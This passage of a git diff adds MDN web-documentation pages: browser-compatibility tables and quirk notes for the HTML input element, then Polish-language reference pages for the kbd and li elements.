+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>inputmode</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>list</td>
+ <td>20.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>9.6</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>max</td>
+ <td>5.0</td>
+ <td>{{CompatGeckoDesktop("16.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.62</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>maxlength</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7")}}</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>min</td>
+ <td>5.0</td>
+ <td>{{CompatGeckoDesktop("16.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.62</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>minlength</td>
+ <td>40.0</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>27.0</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>multiple</td>
+ <td>1.0 (supported for type=file and type=email as of 5.0)</td>
+ <td>{{CompatGeckoDesktop("1.9.2")}} for <strong>type</strong>=file<br>
+ {{CompatVersionUnknown}} for <strong>type</strong>=email</td>
+ <td>10</td>
+ <td>1.0 (10.62 support for type=file and as of 11.01 type=email)</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>name</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>pattern</td>
+ <td>5.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>9.6</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>placeholder</td>
+ <td>10.0</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>11.00</td>
+ <td>5.0</td>
+ </tr>
+ <tr>
+ <td>readonly</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>6 (missing for <strong>type</strong> of <code>checkbox</code>, <code>radio</code>)</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>required</td>
+ <td>5.0 (support for select element as of 10)</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>10</td>
+ <td>9.6</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>size</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>spellcheck</td>
+ <td>10.0</td>
+ <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+ <td>10</td>
+ <td>11.0</td>
+ <td>4.0</td>
+ </tr>
+ <tr>
+ <td>src</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>2</td>
+ <td>1.0</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>step</td>
+ <td>6.0</td>
+ <td>{{CompatGeckoDesktop("16.0")}}</td>
+ <td>10</td>
+ <td>10.62</td>
+ <td>5.0</td>
+ </tr>
+ <tr>
+ <td>tabindex</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td>
+ <td>6 (elements with tabindex &gt; 0 are not navigated)</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>width</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("16.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>1.0</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>type</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>type=button</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>type=checkbox</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>type=color</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("27.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>type=date</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.62</td>
+ <td>5.0</td>
+ </tr>
+ <tr>
+ <td>type=datetime</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.62</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=datetime-local</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.62</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=email</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>3.1 (no validation but gives a specific keyboard)</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=file</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}} [1]</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=hidden</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=image</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=month</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.62</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=number</td>
+ <td>2.3 (no validation but gives a specific keyboard)</td>
+ <td>{{CompatGeckoMobile("29.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>4.0 (no validation but gives a specific keyboard)</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=password</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=radio</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=range</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>5.0</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=reset</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=search</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.62</td>
+ <td>4.0</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=submit</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=tel</td>
+ <td>2.3</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.62</td>
+ <td>3.1</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=text</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=time</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.62</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=url</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.62</td>
+ <td>3.1 (no validation but gives a specific keyboard)</td>
+ </tr>
+ <tr>
+ <td style="white-space: nowrap;">type=week</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.62</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>accept=[MIME type]</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>accept=audio/*</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>accept=image/*</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>accept=video/*</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>accept=[. + ext]</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("37.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>accesskey</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>autocomplete</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>autofocus</td>
+ <td>3.2</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>checked</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>disabled</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>form</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>formaction</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.62</td>
+ <td>5.0</td>
+ </tr>
+ <tr>
+ <td>formenctype</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>formmethod</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.62</td>
+ <td>5.0</td>
+ </tr>
+ <tr>
+ <td>formnovalidate</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.62</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>formtarget</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.62</td>
+ <td>5.0</td>
+ </tr>
+ <tr>
+ <td>height</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("16.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>list</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>max</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("16.0")}} (UI might remain unimplemented)</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.62</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>maxlength</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>min</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("16.0")}} (UI might remain unimplemented)</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.62</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>minlength</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>multiple</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>name</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>1.0</td>
+ </tr>
+ <tr>
+ <td>pattern</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>placeholder</td>
+ <td>2.3</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>11.10</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>readonly</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>required</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>size</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>spellcheck</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("2.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>11.0</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>src</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>step</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("16.0")}} (UI might remain unimplemented)</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.62</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>tabindex</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>width</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("16.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]: <a href="http://blog.uploadcare.com/post/97884147203/you-cannot-upload-files-to-a-server-using-mobile-safari">File uploads were broken</a> in Mobile Safari for iOS 8.0 and 8.0.1. The bug was fixed in iOs 8.0.2.</p>
+
+<p>Safari Mobile for iOS applies a default style of <code>{{cssxref("opacity")}}: 0.4</code> to disabled textual {{HTMLElement("input")}} elements. Other major browsers don't currently share this particular default style.</p>
+
+<p>On Safari Mobile for iOS, setting <code>{{cssxref("display")}}: block</code> on an {{HTMLElement("input")}} of <code>type="date"</code>, <code>type="time"</code>, <code>type="datetime-local"</code>, or <code>type="month"</code> causes the text within the {{HTMLElement("input")}} to become vertically misaligned. <a href="https://bugs.webkit.org/show_bug.cgi?id=139848">See WebKit bug #139848.</a></p>
+
+<p>As of Chrome v39, an <code>&lt;input type="date"&gt;</code> styled with <code>{{cssxref("display")}}: table-cell; {{cssxref("width")}}: 100%;</code> will have a {{cssxref("min-width")}} imposed by Chrome and it cannot become narrower than this minimum width. <a href="https://code.google.com/p/chromium/issues/detail?id=346051">See Chromium bug #346051.</a></p>
+
+<h3 id="Gecko_notes">Gecko notes</h3>
+
+<p>Firefox will, unlike other browsers, by default, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state and (if applicable) dynamic checkedness</a> of an {{HTMLElement("input")}} across page loads. Setting the value of the {{htmlattrxref("autocomplete","input")}} attribute to <code>off</code> disables this feature; this works even when the {{htmlattrxref("autocomplete","input")}} attribute would normally not apply to the {{HTMLElement("input")}} by virtue of its {{htmlattrxref("type","input")}}. See {{bug(654072)}}.</p>
+
+<p>Starting in Gecko 9.0 {{geckoRelease("9.0")}}, Firefox for Android lets users capture images using their camera and upload them, without having to leave the browser. Web developers can implement this feature by simply specifying setting the <code>accept</code> attribute's value to "image/*" on their <code>file</code> input, like this:</p>
+
+<p><code>&lt;input type="file" accept="image/*"&gt;</code></p>
+
+<p>Firefox for Android sets a default {{ cssxref("background-image") }} gradient on all <code>type="text"</code>, <code>type="file"</code>, <code>type="button"</code>, and <code>type="submit"</code> inputs. This can be disabled using <code>background-image: none</code>.</p>
+
+<p>Firefox for Android also sets a default {{ cssxref("border") }} on all <code>&lt;input type="file"&gt;</code> elements.</p>
+
+<h4 id="Localization">Localization</h4>
+
+<p>The allowed inputs for certain &lt;input&gt; types depend on the locale. In some locales, 1,000.00 is a valid number, while in other locales the valid way to enter this number is 1.000,00.</p>
+
+<p>Firefox uses the following heuristics to determine the locale to validate the user's input (at least for type="number"):</p>
+
+<ul>
+ <li>Try the language specified by a 'lang'/'xml:lang' attribute on the element or any of its parents;</li>
+ <li>Try the language specified by any Content-Language HTTP header or</li>
+ <li>If none specified, use the browser's locale.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other form-related elements: {{HTMLElement("form")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+ <li><a class="external" href="http://webdesignerwall.com/tutorials/cross-browser-html5-placeholder-text">Cross-browser HTML5 placeholder text</a></li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/pl/web/html/element/kbd/index.html b/files/pl/web/html/element/kbd/index.html
new file mode 100644
index 0000000000..c957ca7c32
--- /dev/null
+++ b/files/pl/web/html/element/kbd/index.html
@@ -0,0 +1,27 @@
+---
+title: kbd
+slug: Web/HTML/Element/kbd
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/kbd
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element <code>&lt;kbd&gt;...&lt;/kbd&gt;</code> tworzy element liniowy wyświetlany domyślną dla przeglądarki czcionką o stałej szerokości (Lucida Console). Element jest przeznaczony do wskazywania użytkownikowi tekstu do wpisania, jednak jest powszechnie używany do ostylowania jakiegokolwiek tekstu czcionką o stałej szerokości.
+</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre class="eval"> Wpisz w oknie dialogowym Uruchom &lt;kbd&gt;cmd&lt;/kbd&gt;&lt;br /&gt; Następnie kliknij przycisk OK.
+
+</pre>
+<h4 id="Rezultat" name="Rezultat"> Rezultat </h4> <p>Wpisz w oknie dialogowym Uruchom <kbd>cmd</kbd><br>Następnie kliknij przycisk OK.</p>
+<h3 id="Notatki" name="Notatki"> Notatki </h3>
+<p>Reguła CSS może być definiowana dla selektora <code>kbd</code>, by nadpisać domyślną czcionkę przeglądarki. Ustawienia nadane przez użytkownika mogą wziąć pierwszeństwo przed określonymi w CSS.
+</p><p><br>
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/HTML/Element/code">Element HTML <code>code</code></a>
+</li><li> Specyfikacja HTML 4.01: <a class="external" href="http://www.w3.org/TR/html4/struct/text.html#h-9.2.1">Phrase Elements</a>
+</li></ul>
+<p>{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/kbd" } ) }}
diff --git a/files/pl/web/html/element/li/index.html b/files/pl/web/html/element/li/index.html
new file mode 100644
index 0000000000..38adde90d0
--- /dev/null
+++ b/files/pl/web/html/element/li/index.html
@@ -0,0 +1,50 @@
+---
+title: li
+slug: Web/HTML/Element/li
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/li
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element <code>&lt;li&gt;</code> ("list item") jest używany do wskazywania punktu listy, zawartej w <a href="pl/HTML/Element/ol">liście uporządkowanej</a> lub <a href="pl/HTML/Element/ul">liście nieuporządkowanej</a>. Może on występować tylko jako <a href="pl/HTML/Child_element">dziecko</a> poprzednio wymienionych elementów.
+</p>
+<ul><li> Dozwolona zawartość: <a href="pl/HTML/Elementy_blokowe">blokowa</a>, <a href="pl/HTML/Elementy_liniowe">liniowa</a>
+</li><li> Dozwolony w: <a href="pl/HTML/Element/ol">&lt;ol&gt;</a>, <a href="pl/HTML/Element/ul">&lt;ul&gt;</a>
+</li></ul>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<dl><dt>value {{ Deprecated_inline() }}
+</dt><dd>Wskazuje aktualny numer pozycji w liście uporządkowanej, zdefiniowanej przez element <a href="pl/HTML/Element/ol">&lt;ol&gt;</a>. Bez względu na wartość <code>type</code>, używaną do ustawienia liczb rzymskich lub liter, jedyną dozwolona wartością tego atrybutu jest liczba. Pozycje listy, które następują dalej, kontynuują numerację od ustawionej wartości. Atrybut <code>value</code> nie ma znaczenia w listach nieuporządkowanych.
+</dd></dl>
+<dl><dt>type {{ Deprecated_inline() }}
+</dt><dd>Wskazuje typ liczenia: <code>a</code> wskazuje małe litery, <code>A</code> wskazuje wielkie litery, <code>i</code> wskazuje małe cyfry rzymskie, <code>I</code> wskazuje wielkie cyfry rzymskie. Atrybut <code>type</code> ustawiony w elemencie <a href="pl/HTML/Element/ol">&lt;ol&gt;</a> jest używany dla wewnętrznej listy, chyba że atrybut <code>type</code> jest użyty wewnątrz zamkniętego elementu <code>&lt;li&gt;</code>. Ten atrybut jest wycofywany, użyj zamiast niego własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/list-style-type">list-style-type</a>.
+</dd></dl>
+<p><br>
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;pierwszy element&lt;/li&gt;
+  &lt;li&gt;drugi element&lt;/li&gt;
+  &lt;li&gt;trzeci element&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+<p>Powyższy kod HTML zostanie wyświetlony:</p>
+<ol> <li>pierwszy element</li> <li>drugi element</li> <li>trzeci element</li>
+</ol>
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;pierwszy element&lt;/li&gt;
+  &lt;li&gt;drugi element&lt;/li&gt;
+  &lt;li&gt;trzeci element&lt;/li&gt;
+&lt;/ul&gt;</pre>
+<ul> <li>pierwszy element</li> <li>drugi element</li> <li>trzeci element</li>
+</ul>
+<p>Zobacz przykłady w <a href="/pl/HTML/Element/ol#Przyk.C5.82ady" title="pl/HTML/Element/ol#Przyk.C5.82ady">&lt;ol&gt;</a> i <a href="/pl/HTML/Element/ul#Przyk.C5.82ady" title="pl/HTML/Element/ul#Przyk.C5.82ady">&lt;ul&gt;</a>.</p><h3 id="Notatki" name="Notatki"> Notatki </h3>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/HTML/Element/ol">Znacznik <code>ol</code> (lista uporządkowana)</a>
